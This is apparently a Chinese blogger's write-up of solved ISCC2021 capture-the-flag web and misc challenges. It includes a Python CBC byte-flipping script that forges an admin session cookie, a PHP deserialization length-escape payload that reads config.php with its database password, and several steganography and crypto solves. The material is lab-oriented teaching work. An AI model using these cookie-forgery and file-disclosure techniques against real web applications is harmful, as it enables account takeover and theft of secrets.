文章目录

ISCC 部分web、杂项wp
- WEB
- - ISCC客服一号冲冲冲（一）
  - 这是啥
  - Web01
  - ISCC客服一号冲冲冲（二）
  - 登录
- misc
- - 李华的红包
  - Retrieve_the_passcode
  - 海市蜃楼1
  - 美人计
  - 检查一下
  - 小明的宠物兔
  - 小明的表情包

ISCC 部分web、杂项wp

ISCC2021马上结束，作为一名CTF萌新，通过比赛也成长了一些，拿下了其中几道（一点点点点）题目，现分享一些自己做的题目
另附iscc2021线上赛赛题（无web，pwn）

看完后各位看官记得给个三连鼓励一下

WEB

ISCC客服一号冲冲冲（一）

只有二十秒，用手点肯定是点不过的，那么

首先想到的那必然是刷票，通过F12打开控制台—cansole

投票嘛，那就试一试vote，果不其然存在，不多BB，直接开刷，摊牌了，爷是科技兵

记得选择左边的狗狗啊

回车完成，关闭控制台

什么？？？禁止刷票，这可怎么办

我们等待时间结束，dd，就算禁止刷票，你奈我何，不还是妥协了

flag：ISCC{1SCC_2o2l_KeFuu}

这是啥

打开页面嗯？ **介是嘛？**好家伙，还有口音

照例Ctrl+u看一下源代码

嗨！就这？？？jsfuck而已，我们复制下来，注意这里不要复制多了，开头结尾都要删一点

保留：我草（一种植物）好长

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百度一个jsfuck在线解码或者老规矩，F12控制台console

回车执行

出活

Web01

正则匹配最后的倔强，那我倒要看看有多倔强

打开链接

Why don't you take a look at robots.txt?

行，爷这回听你的

又来？？？

行，爷还听你的

这里我刚开始出错了，把/src也给整上了，迷惑了好半天，罪过

审计后发现，密码在这藏着呢

ISCC{1SCc-202i}

ISCC客服一号冲冲冲（二）

呦，又见面了，狗子

打开链接，发现登录接口似乎是个图片截了一块啊，把图片下载下来，lsp隐写发现源代码，同时php弱比较登录页面

（都看到这里啦，还不给个三连吗）

本着这次一定的原则，我还是迎难而上，但是

尼玛，这没有密码啊

等等，我好像发现了什么

我们得到第一题flag，所以这个flag是啥呢（第二题：这是啥），第三题flag（）告诉我们，哦这是密码啊

登录密码居然隐藏在题目描述里

行吧，直接搞起来

这里要用到一个东西，浏览器插件HackBar或者火狐渗透版

吐了嗷，admin不让看

偶然间突然发现，除了admin，谁都可以进，只要密码对，出题人在哪，头伸过来我砍砍

换了zdmin上去后

em…搞我呢

但是，本着**这次一定（疯狂暗示）**做出来的原则，在存储里发现了这样的cookie

这不是CBC加密（CBC字节翻转攻击）吗，简单

攻击原理就不放了，有兴趣的童鞋可以自行搜索，或者点一手关注，说不定哪天就更新相关内容了呢

简单来说就是通过异或翻转字节

直接上代码修改cipher和iv控制用户名

注意一下哈：每次刷新由于本地post值的存在，cipher和iv都会变，我们要一定要清除本地post值

一个简单的办法，复制当前URL，关闭浏览器删除一小时内浏览记录或这个网址浏览记录，粘贴刚刚复制的URL再进去，无论怎么刷新还是这个iv和cipher

这里上的是Python2的代码

第一段

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Link    : http://blog.csdn.net/csu_vc
import base64
import requests
import urllib
iv_raw='i6RfsKjmCpdRqbJGVObwbg%3D%3D'  #这里填写第一次返回的iv值
cipher_raw='nEUant73cLQOvjWeQbR4K69FZXw8UGdV0A5r4DildwOOW6RdoiX140i3CaomjByv3mKADN9dZSKcQLDpoPCgordsOH4PtrnlIYmF6FBBmkw%3D'  #这里填写第一次返回的cipher值
print "[*]原始iv和cipher"
print "iv_raw:  " + iv_raw
print "cipher_raw:  " + cipher_raw
print "[*]对cipher解码，进行反转"
cipher = base64.b64decode(urllib.unquote(cipher_raw))
#a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"}
#s:2:{s:8:"userna
#me";s:5:"zdmin";
#s:8:"password";s
#:3:"12345";}
xor_cipher = cipher[0:9] +  chr(ord(cipher[9]) ^ ord('z') ^ ord('a')) + cipher[10:]  #请根据你的输入自行更改，原理看上面的介绍
xor_cipher=urllib.quote(base64.b64encode(xor_cipher))
print "反转后的cipher：" + xor_cipher

特别注意：

我这里用的用户名是zdmin，如果你用的是其他的用户名（最好最好在admin的基础上改动一个字母），username admin这里共13个字符xor_cipher = cipher[0:9] +  chr(ord(cipher[9]) ^ ord('z') ^ ord('a')) + cipher[10:]你改的是第几个字符cipher中就是0:几+chr(ord(cipher[几])^ ord('你改的那个字母'^ ord('改成什么字母')cipher[几+1:])例如：admil就是
xor_cipher = cipher[0:13] +  chr(ord(cipher[13]) ^ ord('l') ^ ord('n')) + cipher[14:]

得到翻转后的cipher

nEUant73cLQOpTWeQbR4K69FZXw8UGdV0A5r4DildwOOW6RdoiX140i3CaomjByv3mKADN9dZSKcQLDpoPCgordsOH4PtrnlIYmF6FBBmkw%3D

将翻转后得到的新cipher替换浏览器中原来那个cipher，刷新页面

出现了提示错误

这是因为我们修改了密文1中的数据，使第一次解密出的明文数据错乱，打乱了序列化数据的格式，反序列化失败。
但是当我们把返回的base64数据解码后，可以发现我们的username已经修改成admin了

出现这种错误，根据CBC解密原理，我们只需要修改iv的值，使得iv XOR 解密(密文1) = 明文1 即可

还是上代码，同样的，Python2

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-03-15 11:56:20
# @Author  : csu_vc(s4ad0w.protonmail.com)
# @Link    : http://blog.csdn.net/csu_vc
import base64
import urllib
cipher = 'V/pACxVKq7HhWuPDmWWz/G1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiIxU0NDXzJvMmxfS2VGdXUiO30='#填写提交后所得的无法反序列化密文
iv = 'i6RfsKjmCpdRqbJGVObwbg%3D%3D'#一开始提交的iv
#cipher = urllib.unquote(cipher)
cipher = base64.b64decode(cipher)
iv = base64.b64decode(urllib.unquote(iv))
newIv = ''
right = 'a:2:{s:8:"userna'#被损坏前正确的明文
for i in range(16):newIv += chr(ord(right[i])^ord(iv[i])^ord(cipher[i])) #这一步相当于把原来iv中不匹配的部分修改过来
print urllib.quote(base64.b64encode(newIv))

得到新iv

vWQtgcbfmx6K0ST2qPEt8w%3D%3D

在浏览器中，将新iv替换进去，刷新一下

出活！！！

Flag is iscc{15Cc_Ke0fU_No_D1An_l}

<?phprequire_once('class.php');if($_SESSION['username']) {header('Location: profile.php');exit;}if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = $_POST['password'];if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password');if($user->login($username, $password)) {$_SESSION['username'] = $username;header('Location: profile.php');exit;  }else {die('Invalid user name or password');}}else {
?>
<!DOCTYPE html>
<html>
<head><title>Login</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Login</h3><label>Username:</label><input type="text" name="username" style="height:30px"class="span3"/><label>Password:</label><input type="password" name="password" style="height:30px" class="span3"><button type="submit" class="btn btn-primary">LOGIN</button></form></div>
</body>
</html>
<?php}
?>

没什么卵用的注册源码register.php

<?phprequire_once('class.php');if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = $_POST['password'];if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password');if(!$user->is_exists($username)) {$user->register($username, $password);echo 'Register OK!<a href="index.php">Please Login</a>';       }else {die('User name Already Exists');}}else {
?>
<!DOCTYPE html>
<html>
<head><title>Login</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Register</h3><label>Username:</label><input type="text" name="username" style="height:30px"class="span3"/><label>Password:</label><input type="password" name="password" style="height:30px" class="span3"><button type="submit" class="btn btn-primary">REGISTER</button></form></div>
</body>
</html>
<?php}
?>

注册登陆后的profile.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head><title>Profile</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <img src="https://img-blog.csdnimg.cn/2022010621201833045.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label></div>
</body>
</html>
<?php}
?>

update.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {
?>
<!DOCTYPE html>
<html>
<head><title>UPDATE</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Please Update Your Profile</h3><label>Phone:</label><input type="text" name="phone" style="height:30px"class="span3"/><label>Email:</label><input type="text" name="email" style="height:30px"class="span3"/><label>Nickname:</label><input type="text" name="nickname" style="height:30px" class="span3"><label for="file">Photo:</label><input type="file" name="photo" style="height:30px"class="span3"/><button type="submit" class="btn btn-primary">UPDATE</button></form></div>
</body>
</html>
<?php}
?>

核心的处理代码，class.php

<?php
require('config.php');class user extends mysql{private $table = 'users';public function is_exists($username) {$username = parent::filter($username);$where = "username = '$username'";return parent::select($this->table, $where);}public function register($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$key_list = Array('username', 'password');$value_list = Array($username, md5($password));return parent::insert($this->table, $key_list, $value_list);}public function login($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$where = "username = '$username'";$object = parent::select($this->table, $where);if ($object && $object->password === md5($password)) {return true;} else {return false;}}public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {return __class__;}
}class mysql {private $link = null;public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['username'], $config['password']);mysql_select_db($config['database']);mysql_query("SET sql_mode='strict_all_tables'");return $this->link;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function insert($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)";return mysql_query($sql);}public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}
}
session_start();
$user = new user();
$user->connect($config);

最后是config.php

<?php$config['hostname'] = '127.0.0.1';$config['username'] = 'root';$config['password'] = '';$config['database'] = '';$flag = '';
?>

看来flag就是在config.php中了，要想办法拿到config.php的内容

然后就是代码审计

这个地方貌似有个文件读取的地方，在profile.php中

 else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>

上面还有个反序列化unserialize，感觉有戏，如果$profile[‘photo’]是config.php就可以读取到了，可以对photo进行操作的地方在update.php，有phone、email、nickname和photo这几个

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));结果如下：
Array
([phone] => 13838438250[email] => 1234567890@qq.com[nickname] => 123456[photo] => config.php
)

可以看到反序列化之后，最后面upload这一部分就没了，下面就是想办法把config.php塞进去了。

从数组顺序上看是和上面数组的顺序一样的，可以抓个包看下post顺序，那么最有可能的就是从nickname下手了。

在设置了$profile之后，用update_profile()函数进行处理

 public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}

过滤后

public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}

有两个正则过滤，带上输入nickname时候有一个正则，总共三个过滤的地方，首先要绕过第一个输入时候的正则：

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');
数组即可绕过：
nickname[]=那么$profile就是这样了：
$profile = a:4:{s:5:"phone";s:11:"13838438250";s:5:"email";s:8:"1234567890@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

后面的正则要怎么利用呢，可以看到如果我们输入的有where，会替换成hacker，这样的话长度就变了，序列化后的每个变量都是有长度的，那么反序列化会怎么处理呢？我们应该怎么构造呢？

数组绕过了第一个正则过滤之后，如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;}，一共是34个字符，如果利用正则替换34个where，不就可以把这34个给挤出去，后面的upload因为序列化串被我们闭合了也就没用了

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

操作开始,该我上场表演了

注册之后登陆，进入到update.php页面，输入信息及上传图片，这时用burpsuite抓包把nickname改成数组

然后进入到profile中查看图片信息或者源代码

解码得到

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'ISCC{what_is@the&_nickname*?1112234}';
?>

flag = ISCC{what_is@the&_nickname*?1112234}

以上便是本次ISCC中我做出的全部web题目了，如有错误或说明不清的地方请在评论区指出或留下宝贵的意见

misc

李华的红包

很简单的题目，首先jpg分离，我们将得到一个rar文件，里面明显是敲击码，先读纵轴

题目其实有提示，将图片大小改为521*521，可以看到下面有一个鼓，对应敲击

ISCC{ISCCBFS}

Retrieve_the_passcode

拿到题目，嗯？？一个加密rar和一个txt，txt名称英文的？？不认识啊！！百度翻译后，哦~分散的、散点

想到了散点图，python写个脚本画出散点图，easy！

上脚本

import numpy as np
import matplotlib.pyplot as pltfrom mpl_toolkits.mplot3d import Axes3Dlis = [1,3,1,1.25,3,1,1.5,3,1,1.75,3,1,2,3,1,2,2.75,1,2,2.5,1,2,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.25,2.25,1,1.5,2.25,1,1.75,2.25,1,1,1.5,1,1.25,1.5,1,1.5,1.5,1,1.75,1.5,1,3,3,1,3.25,3,1,3.5,3,1,3.75,3,1,4,3,1,3.25,2.25,1,3.5,2.25,1,3.75,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.25,1.5,1,3.5,1.5,1,3.75,1.5,1,3,1.75,1,3,2,1,3,2.25,1,3,2.5,1,3,2.75,1,5,3,1,5.25,3,1,5.5,3,1,5.75,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.5,1,5.75,1.5,1,5.5,1.5,1,5.25,1.5,1,5,1.5,1,5,2.25,1,5.25,2.25,1,5.5,2.25,1,5.75,2.25,1,5,2.5,1,5,2.75,1,7,3,1,7.25,3,1,7.5,3,1,7.75,3,1,8,3,1,8,2.75,1,8,2.5,1,8,2.25,1,8,2,1,8,1.75,1,8,1.5,1,9,3,1,9.25,3,1,9.5,3,1,9.75,3,1,10,3,1,10,2.75,1,10,2.5,1,10,2.25,1,9.75,2.25,1,9.5,2.25,1,9.25,2.25,1,9,2.25,1,9,2,1,9,1.75,1,9,1.5,1,9.25,1.5,1,9.5,1.5,1,9.75,1.5,1,10,1.5,1,11,3,1,11.25,3,1,11.5,3,1,11.75,3,1,12,3,1,12,2.75,1,12,2.5,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.75,1.5,1,11.5,1.5,1,11.25,1.5,1,11,1.5,1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.25,2.25,1,11.5,2.25,1,11.75,2.25,1]
x = lis[0::3]
y = lis[1::3]
z = lis[2::3]
fig = plt.figure()ax = plt.figure().add_subplot(111, projection = '3d')ax.set_title('Scatter Plot')ax.set_xlabel('X Label')
ax.set_ylabel('Y Label')
ax.set_zlabel('Z Label')ax.scatter(x,y,z,c = 'r',marker = '.')plt.legend('x1')plt.show()

运行

得到压缩包解压密码

打开压缩文件是一个pdf

接下来就是解摩斯密码了

题目说是小写字符串

转小写：

congratulationtheflagischallengeiscctwozerotwoone

这题最深的坑来了

尼玛这题答案不是ISCC{challengeiscctwozerotwoone}

而是ISCC{congratulationtheflagischallengeiscctwozerotwoone}

深坑！！！

海市蜃楼1

拿到题目打开文件发现是乱码，直接拿010看一下（winhex也可以）

发现文件头是504b0304

zip格式

重命名为zip后打开后发现里面是几个文件夹（这种文件夹一般都是word转的zip）

打开后发现多个文件，一个一个找，在document中找到flag

也可以用win rar解压软件中直接搜索字符flag

ISCC{zheshishui}

美人计

拿到题目下载文件，得到一张绯红女巫，啊不，伊丽莎白·奥尔森的照片，还有一张二维码

扫码结果看着像base64

扫码内容：

U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu
3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu
+CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE
+pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=

解码后

Salted__ÊkërÌðBL!;åKˆœÿ¢ƒ•¾MóG¶©›¯h°3ý_Ò.Ük†ZcÎ´í»ÏËÍ¦öÂÀþñU¡vÕ½'‡Áˆ¯öìj½ÂW$Êïëîø jX1©èuÑîp„hnÎR´fÐ\
—O
"¿†¹Ib~ŸpP$ø"ºMxÝú’
‰"W¢UËG[É  Ñ˜÷f\VâXúÛÙNëþþg ÿ

看到salted想到这是其他编码的base64形式

通过查看照片的16进制我们得知

这大有可能是aes，秘钥为ISCC2021

尝试（这里需要连解3次aes）

得到一句话

y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!

漂亮！我掉进了美丽的陷阱中，果然美人的话不能全信

继续查看

发现word文档中藏有zip，分离后解压，得到一些文件夹，在其中一个文件夹中，我们得到了另一个二维吗

扫码后尝试aes不对，想到类似的des

解码成功，秘钥依旧是ISCC2021

ISCC{be@uty_1ike$_Y0u_2O2lISCC}

检查一下

一张图片，010查看后没发现什么，拿到kali中binwalk分离一下，得到一堆1，0组成的文件，长度为841，很容易联想到29*29是个二维码

二进制转二维码1对应黑，0对应白

脚本如下：

from PIL import Image
MAX = 29
img = Image.new("RGB",(MAX, MAX))
str = "1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
for y in range (0,MAX):for x in range (0,MAX):if(str[i] == '1'):img.putpixel([x,y],(0, 0, 0))else:img.putpixel([x,y],(255,255,255))i = i+1
img.show()
img.save("flag.png")

ISCC{Png_Chunk_streams_ISCC}

小明的宠物兔

下载图片010查看无果，果断拖进kali分离，foremost出结果，得到一个压缩包，解压后

得到一个flag.txt，一个key.zip。flag.txt里面为rabbit加密，key.zip里面文本原始大小为5，这里crc32爆破然后解密完事

解密脚本或者使用hashcat

ISCC{u_really_know_rabbits}

小明的表情包

下载文件，是一个加密的压缩包，题目里说密码是小明出生日月年，给的凯撒解出后是NINETEEN NINETY NINE，所以1999年出生，剩下就好办了，直接爆破，得到0707

所以解压码是07071999

拿到JPG图片一张

010查看后，发现缺少文件头FFD8，补齐重新打开得到Flag

ISCC{Nyuuiitt}

怎么样，觉得本文章对你有帮助吗，如果感到不错请三连支持一下博主，有任何意见或建议可在评论区留言

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